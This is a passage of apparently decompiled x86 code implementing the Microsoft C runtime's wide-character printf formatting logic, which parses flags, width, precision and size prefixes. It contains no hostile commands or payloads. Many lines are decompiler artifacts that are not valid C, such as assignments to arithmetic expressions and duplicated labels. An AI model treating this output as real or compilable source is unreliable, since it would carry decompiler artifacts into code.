								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041AEF0(_t600 - 0x40);
									_t523 = E0043B630(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043CB30( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043CB90(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C5E0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043CA24))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043CB30( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43ca5c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA44))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43ca84; // 0xc2919003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA70))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43caf0; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CAB4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00428400(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B960( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEF0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xd5b65caa
															E00424760(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xd44284aa
																	E00424760(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xd44114aa
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428400(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AEF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AEF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B630(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428400(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041AEF0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E004312C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428400(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428400(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428400(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
